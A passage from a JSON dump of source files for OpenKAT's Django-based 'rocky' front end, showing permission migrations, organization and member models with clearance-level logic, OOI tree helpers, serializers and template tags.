    "content": "# Generated by Django 5.0.8 on 2024-08-26 08:52\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0001_squashed_0041_merge_20230731_1131\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_add_boefje\", \"Can add new or duplicated boefje\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0043_alter_organization_options.py",
    "content": "# Generated by Django 5.0.8 on 2024-08-27 09:27\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0042_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_add_boefje\", \"Can add new or duplicate boefjes\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0044_alter_organization_options.py",
    "content": "# Generated by Django 5.0.8 on 2024-09-16 09:07\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0043_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_add_boefje\", \"Can add new or duplicate boefjes\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                    (\"can_access_all_organizations\", \"Can access all organizations\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0045_alter_organization_options.py",
    "content": "# Generated by Django 5.0.14 on 2025-05-08 09:47\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0044_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_add_boefje\", \"Can add new or duplicate boefjes\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                    (\"can_access_all_organizations\", \"Can access all organizations\"),\n                    (\"can_enable_disable_schedule\", \"Can enable or disable schedules\"),\n                )\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0045_update_permissions.py",
    "content": "from django.contrib.auth.management import create_permissions\nfrom django.db import migrations\n\nfrom tools.models import GROUP_ADMIN, GROUP_REDTEAM\n\n\ndef migrate_permissions(apps, schema_editor):\n    for app_config in apps.get_app_configs():\n        app_config.models_module = True\n        create_permissions(app_config, apps=apps, verbosity=0)\n        app_config.models_module = None\n\n\ndef add_group_permissions(apps, schema_editor):\n    Group = apps.get_model(\"auth\", \"Group\")\n    Permission = apps.get_model(\"auth\", \"Permission\")\n    try:\n        admin = Group.objects.get(name=GROUP_ADMIN)\n        admin.permissions.add(Permission.objects.get(codename=\"can_enable_disable_schedule\"))\n\n        redteam = Group.objects.get(name=GROUP_REDTEAM)\n        redteam.permissions.add(Permission.objects.get(codename=\"can_enable_disable_schedule\"))\n    except Group.DoesNotExist:\n        pass\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0045_alter_organization_options\")]\n\n    operations = [migrations.RunPython(migrate_permissions), migrations.RunPython(add_group_permissions)]\n"
  },
  {
    "path": "rocky/tools/migrations/0046_alter_organization_options.py",
    "content": "# Generated by Django 5.1.9 on 2025-05-20 13:49\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0045_update_permissions\")]\n\n    operations = [\n        migrations.AlterModelOptions(\n            name=\"organization\",\n            options={\n                \"ordering\": [\"name\"],\n                \"permissions\": (\n                    (\"can_switch_organization\", \"Can switch organization\"),\n                    (\"can_scan_organization\", \"Can scan organization\"),\n                    (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n                    (\"can_add_boefje\", \"Can add new or duplicate boefjes\"),\n                    (\"can_set_clearance_level\", \"Can set clearance level\"),\n                    (\"can_delete_oois\", \"Can delete oois\"),\n                    (\"can_mute_findings\", \"Can mute findings\"),\n                    (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n                    (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n                    (\"can_recalculate_bits\", \"Can recalculate bits\"),\n                    (\"can_access_all_organizations\", \"Can access all organizations\"),\n                    (\"can_enable_disable_schedule\", \"Can enable or disable schedules\"),\n                ),\n            },\n        )\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/0047_alter_organization_code_alter_organization_name.py",
    "content": "# Generated by Django 5.1.10 on 2025-07-11 11:06\n\nfrom django.db import migrations, models\n\nimport tools.fields\n\n\nclass Migration(migrations.Migration):\n    dependencies = [(\"tools\", \"0046_alter_organization_options\")]\n\n    operations = [\n        migrations.AlterField(\n            model_name=\"organization\",\n            name=\"code\",\n            field=tools.fields.LowerCaseSlugField(\n                allow_unicode=True,\n                help_text=\"A short code containing only lower-case unicode letters, numbers, hyphens or underscores that will be used in URLs and paths.\",\n                max_length=32,\n                unique=True,\n            ),\n        ),\n        migrations.AlterField(\n            model_name=\"organization\",\n            name=\"name\",\n            field=models.CharField(help_text=\"The name of the organization.\", max_length=126, unique=True),\n        ),\n    ]\n"
  },
  {
    "path": "rocky/tools/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/models.py",
    "content": "from collections.abc import Iterable\nfrom functools import cached_property\n\nimport structlog\nimport tagulous.models\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group, Permission\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\n\nfrom tools.add_ooi_information import SEPARATOR, InformationUpdateError, get_info\nfrom tools.enums import MAX_SCAN_LEVEL\nfrom tools.fields import LowerCaseSlugField\n\nGROUP_ADMIN = \"admin\"\nGROUP_REDTEAM = \"redteam\"\nGROUP_CLIENT = \"clients\"\n\nlogger = structlog.get_logger(__name__)\n\nORGANIZATION_CODE_LENGTH = 32\nDENY_ORGANIZATION_CODES = [\n    \"admin\",\n    \"api\",\n    \"i18n\",\n    \"health\",\n    \"privacy-statement\",\n    \"account\",\n    \"crisis-room\",\n    \"onboarding\",\n    \"indemnifications\",\n    \"findings\",\n    \"objects\",\n    \"organizations\",\n    \"edit\",\n    \"members\",\n    \"settings\",\n    \"scans\",\n    \"upload\",\n    \"tasks\",\n    \"bytes\",\n    \"kat-alogus\",\n    \"boefjes\",\n    \"mula\",\n    \"octopoes\",\n    \"rocky\",\n]\n\n\nclass OrganizationTag(tagulous.models.TagTreeModel):\n    COLOR_CHOICES = settings.TAG_COLORS\n    BORDER_TYPE_CHOICES = settings.TAG_BORDER_TYPES\n\n    color = models.CharField(choices=COLOR_CHOICES, max_length=20, default=COLOR_CHOICES[0][0])\n    border_type = models.CharField(choices=BORDER_TYPE_CHOICES, max_length=20, default=BORDER_TYPE_CHOICES[0][0])\n\n    class TagMeta:\n        force_lowercase = True\n        protect_all = True\n\n    @property\n    def css_class(self):\n        return f\"tags-{self.color} {self.border_type}\"\n\n\nclass Organization(models.Model):\n    id: int\n    name = models.CharField(max_length=126, unique=True, help_text=_(\"The name of the organization.\"))\n    code = LowerCaseSlugField(\n        max_length=ORGANIZATION_CODE_LENGTH,\n        unique=True,\n        allow_unicode=True,\n        help_text=_(\n            \"A short code containing only lower-case unicode letters, numbers, hyphens or underscores \"\n            \"that will be used in URLs and paths.\"\n        ),\n    )\n    tags = tagulous.models.TagField(to=OrganizationTag, blank=True)\n\n    EVENT_CODES = {\"created\": 900201, \"updated\": 900202, \"deleted\": 900203}\n\n    def __str__(self) -> str:\n        return str(self.name)\n\n    class Meta:\n        permissions = (\n            (\"can_switch_organization\", \"Can switch organization\"),\n            (\"can_scan_organization\", \"Can scan organization\"),\n            (\"can_enable_disable_boefje\", \"Can enable or disable boefje\"),\n            (\"can_add_boefje\", \"Can add new or duplicate boefjes\"),\n            (\"can_set_clearance_level\", \"Can set clearance level\"),\n            (\"can_delete_oois\", \"Can delete oois\"),\n            (\"can_mute_findings\", \"Can mute findings\"),\n            (\"can_view_katalogus_settings\", \"Can view KAT-alogus settings\"),\n            (\"can_set_katalogus_settings\", \"Can set KAT-alogus settings\"),\n            (\"can_recalculate_bits\", \"Can recalculate bits\"),\n            (\"can_access_all_organizations\", \"Can access all organizations\"),\n            (\"can_enable_disable_schedule\", \"Can enable or disable schedules\"),\n        )\n        ordering = [\"name\"]\n\n    def get_absolute_url(self):\n        return reverse(\"organization_settings\", args=[self.pk])\n\n    def clean(self):\n        if self.code in DENY_ORGANIZATION_CODES:\n            raise ValidationError(\n                {\n                    \"code\": _(\n                        \"This organization code is reserved by OpenKAT and cannot be used. \"\n                        \"Choose another organization code.\"\n                    )\n                }\n            )\n\n\nclass OrganizationMember(models.Model):\n    # New is the status after an e-mail invite has been created for a member but the invite hasn't been accepted yet.\n    # Active is when the member has accepted the invited or the account was created directly without an invite.\n    # Blocked is when an organization admin has blocked the member.\n    class STATUSES(models.TextChoices):\n        ACTIVE = \"active\", _(\"active\")\n        NEW = \"new\", _(\"new\")\n\n    user = models.ForeignKey(\"account.KATUser\", on_delete=models.PROTECT, related_name=\"members\")\n    organization = models.ForeignKey(Organization, on_delete=models.CASCADE, related_name=\"members\")\n    groups = models.ManyToManyField(Group, blank=True)\n    status = models.CharField(choices=STATUSES.choices, max_length=64, default=STATUSES.NEW)\n    blocked = models.BooleanField(default=False)\n    onboarded = models.BooleanField(default=False)\n    trusted_clearance_level = models.IntegerField(\n        default=-1, validators=[MinValueValidator(-1), MaxValueValidator(MAX_SCAN_LEVEL)]\n    )\n    acknowledged_clearance_level = models.IntegerField(\n        default=-1, validators=[MinValueValidator(-1), MaxValueValidator(MAX_SCAN_LEVEL)]\n    )\n\n    EVENT_CODES = {\"created\": 900211, \"updated\": 900212, \"deleted\": 900213}\n\n    @cached_property\n    def all_permissions(self) -> set[str]:\n        if self.user.is_active and self.user.is_superuser:\n            # Superuser always has all permissions\n            return {\n                f\"{ct}.{name}\" for ct, name in Permission.objects.values_list(\"content_type__app_label\", \"codename\")\n            }\n\n        if self.blocked or not self.user.is_active:\n            # A blocked or inactive user doesn't have any permissions specific to this organization\n            organization_member_perms = set()\n        else:\n            organization_member_perms = {\n                f\"{ct}.{name}\"\n                for ct, name in Permission.objects.filter(group__organizationmember=self).values_list(\n                    \"content_type__app_label\", \"codename\"\n                )\n            }\n        return organization_member_perms | self.user.get_all_permissions()\n\n    def has_perm(self, perm: str) -> bool:\n        return perm in self.all_permissions\n\n    def has_perms(self, perm_list: Iterable[str]) -> bool:\n        return all(self.has_perm(perm) for perm in perm_list)\n\n    @property\n    def max_clearance_level(self) -> int:\n        \"\"\"The maximum clearance level the user has for this organization.\n\n        When the user has an organization specific clearance level that is lower\n        than the global clearance level this will overrule the global clearance\n        level.\n\n        For the organization specific clearance level we take the minimum\n        of the trusted clearance level and acknowledged clearance level. If the\n        user did not acknowledge a changed clearance level, we need to use the\n        level that was previously. If an admin lowered the users clearance\n        level, we also need to use that level instead of the previously\n        acknowledged level.\n        \"\"\"\n        if self.trusted_clearance_level == -1 and self.acknowledged_clearance_level == -1:\n            return self.user.clearance_level\n        else:\n            return min(self.trusted_clearance_level, self.acknowledged_clearance_level)\n\n    def has_clearance_level(self, level: int) -> bool:\n        return level <= self.max_clearance_level\n\n    @property\n    def can_add_dashboard(self):\n        return self.has_perm(\"crisis_room.add_dashboard\")\n\n    @property\n    def can_change_dashboard(self):\n        return self.has_perm(\"crisis_room.change_dashboard\")\n\n    @property\n    def can_delete_dashboard(self):\n        return self.has_perm(\"crisis_room.delete_dashboard\")\n\n    @property\n    def can_reposition_dashboard_item(self):\n        return self.has_perm(\"crisis_room.change_dashboarditem_position\")\n\n    @property\n    def can_add_dashboard_item(self):\n        return self.has_perm(\"crisis_room.add_dashboarditem\")\n\n    @property\n    def can_delete_dashboard_item(self):\n        return self.has_perm(\"crisis_room.delete_dashboarditem\")\n\n    @property\n    def can_change_dashboard_item(self):\n        return self.has_perm(\"crisis_room.change_dashboarditem\")\n\n    @property\n    def can_modify_dashboard(self) -> bool:\n        \"\"\"If you can add, you might as well change and delete a dashboard.\"\"\"\n        return self.has_perms(\n            [\"crisis_room.add_dashboard\", \"crisis_room.change_dashboard\", \"crisis_room.delete_dashboard\"]\n        )\n\n    @property\n    def can_modify_dashboard_item(self) -> bool:\n        \"\"\"If you can add, you might as well change and delete a dashboard items.\"\"\"\n        return self.has_perms(\n            [\n                \"crisis_room.add_dashboarditem\",\n                \"crisis_room.change_dashboarditem\",\n                \"crisis_room.delete_dashboarditem\",\n                \"crisis_room.change_dashboarditem_position\",\n            ]\n        )\n\n    class Meta:\n        unique_together = [\"user\", \"organization\"]\n\n    def __str__(self) -> str:\n        return str(self.user)\n\n\nclass Indemnification(models.Model):\n    user = models.ForeignKey(\"account.KATUser\", on_delete=models.SET_NULL, null=True)\n    organization = models.ForeignKey(Organization, on_delete=models.SET_NULL, null=True)\n\n    EVENT_CODES = {\"created\": 900221, \"updated\": 900222, \"deleted\": 900223}\n\n\nclass OOIInformation(models.Model):\n    id = models.CharField(max_length=256, primary_key=True)\n    last_updated = models.DateTimeField(auto_now=True)\n    data = models.JSONField(null=True)\n    consult_api = models.BooleanField(default=False)\n\n    EVENT_CODES = {\"created\": 900231, \"updated\": 900232, \"deleted\": 900233}\n\n    def save(self, *args, **kwargs):\n        if self.data is None:\n            self.data = {\"description\": \"\"}\n        if self.consult_api:\n            self.consult_api = False\n            self.get_internet_description()\n        super().save(*args, **kwargs)\n\n    def clean(self):\n        if \"description\" not in self.data:\n            raise ValidationError(\"Description is missing in data\")\n\n    @property\n    def type(self):\n        return self.id.split(SEPARATOR)[0]\n\n    @property\n    def value(self):\n        return SEPARATOR.join(self.id.split(SEPARATOR)[1:])\n\n    @property\n    def description(self):\n        if not self.data[\"description\"]:\n            self.get_internet_description()\n            self.save()\n        return self.data[\"description\"]\n\n    def get_internet_description(self):\n        try:\n            self.data.update(get_info(ooi_type=self.type, natural_key=self.value))\n        except InformationUpdateError:\n            # we keep the old data if we already have some and can't update\n            if not self.data[\"description\"]:\n                self.data = {\"description\": \"\"}\n\n    def __str__(self) -> str:\n        return self.id\n"
  },
  {
    "path": "rocky/tools/ooi_helpers.py",
    "content": "from collections.abc import Sequence\nfrom datetime import datetime\nfrom enum import Enum\nfrom typing import Any\nfrom uuid import uuid4\n\nfrom django.contrib.auth import get_user_model\nfrom pydantic import TypeAdapter\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.findings import (\n    CAPECFindingType,\n    CVEFindingType,\n    CWEFindingType,\n    Finding,\n    FindingType,\n    KATFindingType,\n    RetireJSFindingType,\n    SnykFindingType,\n)\nfrom octopoes.models.tree import ReferenceNode\nfrom octopoes.models.types import OOI_TYPES, get_relations\nfrom rocky.bytes_client import BytesClient\nfrom tools.models import OOIInformation\n\nUser = get_user_model()\n\nRISK_LEVEL_SCORE_DEFAULT = 10\n\n\ndef format_attr_name(s: str) -> str:\n    return s.replace(\"_\", \" \").replace(\"/\", \" -> \").title()\n\n\ndef format_value(value: Any) -> str:\n    if isinstance(value, Enum):\n        return value.value\n    return value\n\n\ndef format_display(data: dict, ignore: list | None = None) -> dict[str, str]:\n    if ignore is None:\n        ignore = []\n\n    return {format_attr_name(k): format_value(v) for k, v in data.items() if k not in ignore}\n\n\ndef get_knowledge_base_data_for_ooi_store(ooi_store: dict) -> dict[str, dict]:\n    knowledge_base = {}\n\n    for ooi in ooi_store.values():\n        # build knowledge base\n        if ooi.get_information_id() not in knowledge_base:\n            knowledge_base[ooi.get_information_id()] = get_knowledge_base_data_for_ooi(ooi)\n\n    return knowledge_base\n\n\ndef get_knowledge_base_data_for_ooi(ooi: OOI) -> dict:\n    knowledge_base_data = {}\n\n    # Knowledge base data\n    information_id = ooi.get_information_id()\n    if information_id != ooi.get_ooi_type():\n        info, created = OOIInformation.objects.get_or_create(id=information_id)\n        if info.description:\n            knowledge_base_data.update(info.data)\n\n    try:\n        info_on_type = OOIInformation.objects.get(id=ooi.get_ooi_type())\n        knowledge_base_data[\"Information\"] = info_on_type.description\n    except OOIInformation.DoesNotExist:\n        pass\n\n    return knowledge_base_data\n\n\ndef process_value(value: Any) -> Any:\n    if isinstance(value, Enum):\n        return value.value\n    if isinstance(value, int | float):\n        return value\n    return str(value) if value else None\n\n\ndef get_ooi_dict(ooi: OOI) -> dict:\n    ooi_dict = {\"id\": ooi.primary_key, \"ooi_type\": ooi.get_ooi_type(), \"human_readable\": ooi.human_readable}\n\n    ignore_properties = [\"primary_key\", \"scan_profile\"]\n\n    # Props are everything but refs\n    relations = get_relations(ooi.__class__)\n    for attr_name, value in ooi:\n        if attr_name not in relations and attr_name not in ignore_properties:\n            ooi_dict[attr_name] = process_value(value)\n\n    return ooi_dict\n\n\ndef get_tree_meta(tree_node: dict, depth: int, location: str) -> dict:\n    tree_meta: dict[str, Any] = {\n        \"depth\": depth,\n        \"location\": location,\n        \"child_count\": \"0\",  # TO_DO ? child_count doesn't exist in template if not a string\n        \"has_findings\": False,\n        \"has_jobs\": False,\n    }\n\n    if \"children\" in tree_node:\n        tree_meta[\"child_count\"] = str(len(tree_node[\"children\"]))\n        tree_meta[\"child_ids\"] = [child[\"id\"] for child in tree_node[\"children\"]]\n        tree_meta[\"child_ooi_types\"] = [child[\"ooi_type\"] for child in tree_node[\"children\"]]\n\n        for ooi_type in tree_meta[\"child_ooi_types\"]:\n            if ooi_type in [\"Finding\"]:\n                tree_meta[\"has_findings\"] = True\n            if ooi_type == \"Job\":\n                tree_meta[\"has_jobs\"] = True\n\n    return tree_meta\n\n\ndef create_object_tree_item_from_ref(\n    reference_node: ReferenceNode,\n    ooi_store: dict[str, OOI],\n    knowledge_base: dict[str, dict] | None = None,\n    depth: int = 0,\n    position: int = 1,\n    location: str = \"loc\",\n) -> dict:\n    depth = sum([depth, 1])\n    location = location + \"-\" + str(position)\n\n    ooi = ooi_store[str(reference_node.reference)]\n\n    item = get_ooi_dict(ooi)\n\n    if not knowledge_base:\n        knowledge_base = get_knowledge_base_data_for_ooi_store(ooi_store)\n\n    if knowledge_base[ooi.get_information_id()]:\n        item.update(knowledge_base[ooi.get_information_id()])\n\n    children = []\n    child_position = 0\n    for relation_name, child_items in reference_node.children.items():\n        for child in child_items:\n            if not child.reference.class_type.traversable():\n                continue\n            if child.reference == reference_node.reference:\n                continue\n            child_position = child_position + 1\n            children.append(\n                create_object_tree_item_from_ref(child, ooi_store, knowledge_base, depth, child_position, location)\n            )\n\n    if children:\n        item[\"children\"] = children\n\n    item[\"tree_meta\"] = get_tree_meta(item, depth, location)\n\n    return item\n\n\ndef get_ooi_types_from_tree(ooi, include_self=True):\n    types = set()\n\n    for child in ooi.get(\"children\", []):\n        for child_type in get_ooi_types_from_tree(child):\n            types.add(child_type)\n\n    if include_self and ooi[\"ooi_type\"] not in types:\n        types.add(ooi[\"ooi_type\"])\n\n    return sorted(types)\n\n\ndef filter_ooi_tree(ooi_node: dict, show_types: Sequence = [], hide_types: Sequence = []) -> dict:\n    if not show_types and not hide_types:\n        return ooi_node\n\n    res = filter_ooi_tree_item(ooi_node, show_types, hide_types, True)\n\n    return res[0]\n\n\ndef filter_ooi_tree_item(ooi_node, show_types, hide_types, self_excluded_from_filter=False):\n    def include_type(ooi_type):\n        # hiding type takes precedence over showing type\n        if hide_types and ooi_type in hide_types:\n            return False\n\n        if show_types:\n            return ooi_type in show_types\n\n        return True\n\n    children = []\n\n    if \"children\" in ooi_node:\n        for child_ooi_node in ooi_node.get(\"children\", []):\n            children.extend(filter_ooi_tree_item(child_ooi_node, show_types, hide_types))\n\n        # no duplicates\n        child_ids = set()\n        ooi_node[\"children\"] = []\n        for child in children:\n            if child.get(\"id\") not in child_ids and child.get(\"id\") != ooi_node[\"id\"]:\n                child_ids.add(child.get(\"id\"))\n                ooi_node[\"children\"].append(child)\n\n    if not self_excluded_from_filter and not include_type(ooi_node[\"ooi_type\"]):\n        return children\n\n    return [ooi_node]\n\n\ndef get_finding_type_from_finding(finding: Finding) -> FindingType:\n    return TypeAdapter(\n        KATFindingType | CVEFindingType | CWEFindingType | RetireJSFindingType | SnykFindingType | CAPECFindingType\n    ).validate_python({\"object_type\": finding.finding_type.class_, \"id\": finding.finding_type.natural_key})\n\n\n_EXCLUDED = [Finding] + FindingType.strict_subclasses()\nOOI_TYPES_WITHOUT_FINDINGS = [name for name, cls_ in OOI_TYPES.items() if cls_ not in _EXCLUDED]\n\n\ndef get_or_create_ooi(\n    api_connector: OctopoesAPIConnector,\n    bytes_client: BytesClient,\n    ooi: OOI,\n    observed_at: datetime,\n    end_valid_time: datetime | None = None,\n) -> tuple[OOI, bool]:\n    try:\n        return api_connector.get(ooi.reference, observed_at), False\n    except ObjectNotFoundException:\n        create_ooi(api_connector, bytes_client, ooi, observed_at, end_valid_time)\n        return ooi, True\n\n\ndef create_ooi(\n    api_connector: OctopoesAPIConnector,\n    bytes_client: BytesClient,\n    ooi: OOI,\n    observed_at: datetime,\n    end_valid_time: datetime | None = None,\n) -> None:\n    task_id = uuid4()\n    declaration = Declaration(ooi=ooi, valid_time=observed_at, task_id=task_id, end_valid_time=end_valid_time)\n    bytes_client.add_manual_proof(task_id, BytesClient.raw_from_declarations([declaration]))\n\n    api_connector.save_declaration(declaration, sync=True)\n\n\ndef create_oois(\n    api_connector: OctopoesAPIConnector,\n    bytes_client: BytesClient,\n    oois: list[OOI],\n    observed_at: datetime,\n    end_valid_time: datetime | None = None,\n) -> None:\n    declarations: list[Declaration] = []\n    task_id = uuid4()\n\n    for ooi in oois:\n        declarations.append(\n            Declaration(ooi=ooi, valid_time=observed_at, task_id=task_id, end_valid_time=end_valid_time)\n        )\n\n    bytes_client.add_manual_proof(task_id, BytesClient.raw_from_declarations(declarations))\n    api_connector.save_many_declarations(declarations, sync=True)\n"
  },
  {
    "path": "rocky/tools/permissions.py",
    "content": "from rest_framework.permissions import BasePermission\n\n\n# This is a bit clunky, but DRF doesn't allow you to specify a permission\n# directly, only a Permission class\nclass CanRecalculateBits(BasePermission):\n    def has_permission(self, request, view) -> bool:\n        return request.user.has_perm(\"tools.can_recalculate_bits\")\n\n\nclass CanSetKatalogusSettings(BasePermission):\n    def has_permission(self, request, view) -> bool:\n        return request.user.has_perm(\"tools.can_set_katalogus_settings\")\n"
  },
  {
    "path": "rocky/tools/serializers.py",
    "content": "from rest_framework.serializers import PrimaryKeyRelatedField, Serializer\nfrom tagulous.contrib.drf import TagSerializer\n\nfrom tools.models import Organization\n\n\nclass OrganizationSerializer(TagSerializer):\n    class Meta:\n        model = Organization\n        fields = [\"id\", \"name\", \"code\", \"tags\"]\n\n\nclass OrganizationSerializerReadOnlyCode(TagSerializer):\n    class Meta:\n        model = Organization\n        fields = [\"id\", \"name\", \"code\", \"tags\"]\n        read_only_fields = [\"code\"]\n\n\nclass ToOrganizationSerializer(Serializer):\n    to_organization = PrimaryKeyRelatedField(queryset=Organization.objects.all())\n"
  },
  {
    "path": "rocky/tools/templatetags/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tools/templatetags/form_extra.py",
    "content": "from django import template\n\nregister = template.Library()\n\n\n@register.filter\ndef with_form_attr(field, form_id):\n    return field.as_widget(attrs={\"form\": form_id})\n"
  },
  {
    "path": "rocky/tools/templatetags/media_with_nonce.py",
    "content": "from django import template\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\n\n@register.simple_tag(takes_context=True)\ndef media_with_nonce(context):\n    nonce = context[\"request\"].csp_nonce\n    return mark_safe(str(context[\"media\"]).replace(\"<script src=\", f'<script nonce=\"{nonce}\" src='))\n\n\n@register.simple_tag(takes_context=True)\ndef media_js_with_nonce(context):\n    nonce = context[\"request\"].csp_nonce\n    return mark_safe(str(context[\"media\"][\"js\"]).replace(\"<script src=\", f'<script nonce=\"{nonce}\" src='))\n"
  },
  {
    "path": "rocky/tools/templatetags/ooi_extra.py",
    "content": "import json\nfrom datetime import datetime\nfrom typing import Any\n\nfrom account.models import KATUser\nfrom django import template\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models import OOI, Reference, ScanLevel\nfrom octopoes.models.ooi.findings import Finding, FindingType\nfrom tools.view_helpers import get_ooi_url\n\nregister = template.Library()\n\n\n@register.filter\ndef get_item(dictionary, key):\n    return dictionary.get(key)\n\n\n@register.filter\ndef get_key(array, key):\n    return [x[key] for x in array]\n\n\n@register.filter\ndef sum_list(array):\n    return sum(array)\n\n\n@register.simple_tag()\ndef get_scan_levels() -> list[str]:\n    return list(map(str, range(1, 5)))\n\n\n@register.filter\ndef ooi_types_to_strings(ooi_types: set[type[OOI]]) -> list[\"str\"]:\n    return [ooi_type.get_ooi_type() for ooi_type in ooi_types]\n\n\n@register.filter()\ndef get_type(x: Any) -> Any:\n    return type(x)\n\n\n@register.simple_tag()\ndef ooi_url(routename: str, ooi_id: str, organization_code: str, **kwargs: str) -> str:\n    return get_ooi_url(routename, ooi_id, organization_code, **kwargs)\n\n\n@register.filter()\ndef is_finding(ooi: OOI) -> bool:\n    return isinstance(ooi, Finding)\n\n\n@register.filter()\ndef is_finding_type(ooi: OOI) -> bool:\n    return isinstance(ooi, FindingType)\n\n\n@register.filter()\ndef get_type_name(instance):\n    return type(instance).__name__\n\n\n@register.simple_tag(takes_context=True)\ndef url_replace(context, field, value):\n    dict_ = context[\"request\"].GET.copy()\n    dict_[field] = value\n    return dict_.urlencode()\n\n\n@register.filter\ndef index(indexable, i):\n    return indexable[i]\n\n\n@register.filter\ndef pretty_json(obj: dict) -> str:\n    return json.dumps(obj, default=str, indent=4)\n\n\n@register.filter\ndef human_readable(reference_string: str) -> str:\n    return Reference.from_str(reference_string).human_readable\n\n\n@register.filter\ndef clearance_level(ooi: OOI) -> ScanLevel:\n    if ooi.scan_profile:\n        return ooi.scan_profile.level\n    else:\n        return ScanLevel.L0\n\n\n@register.filter\ndef ooi_type(reference_string: str) -> str:\n    return Reference.from_str(reference_string).class_\n\n\n@register.filter\ndef get_datetime(date_str: str) -> datetime:\n    return datetime.fromisoformat(date_str)\n\n\n@register.filter\ndef get_first_seen(occurrences: dict) -> datetime:\n    first_seen = min(occurrences, key=lambda occurrence: occurrence[\"first_seen\"])[\"first_seen\"]\n    return datetime.fromisoformat(first_seen)\n\n\n@register.filter\ndef get_user_full_name(ooi: OOI) -> str:\n    try:\n        return KATUser.objects.get(id=ooi.user_id).get_full_name()\n    except ObjectDoesNotExist:\n        return _(\"Unknown user\")\n"
  },
  {
    "path": "rocky/tools/validators.py",
    "content": "from django.core.validators import RegexValidator\n\nphone_validator = RegexValidator(\n    regex=r\"^\\+?1?\\d{11,11}$\", message=\"Phone number must be entered in the format: '+99999999999'. 11 digits allowed.\"\n)\n"
  },
  {
    "path": "rocky/tools/view_helpers.py",
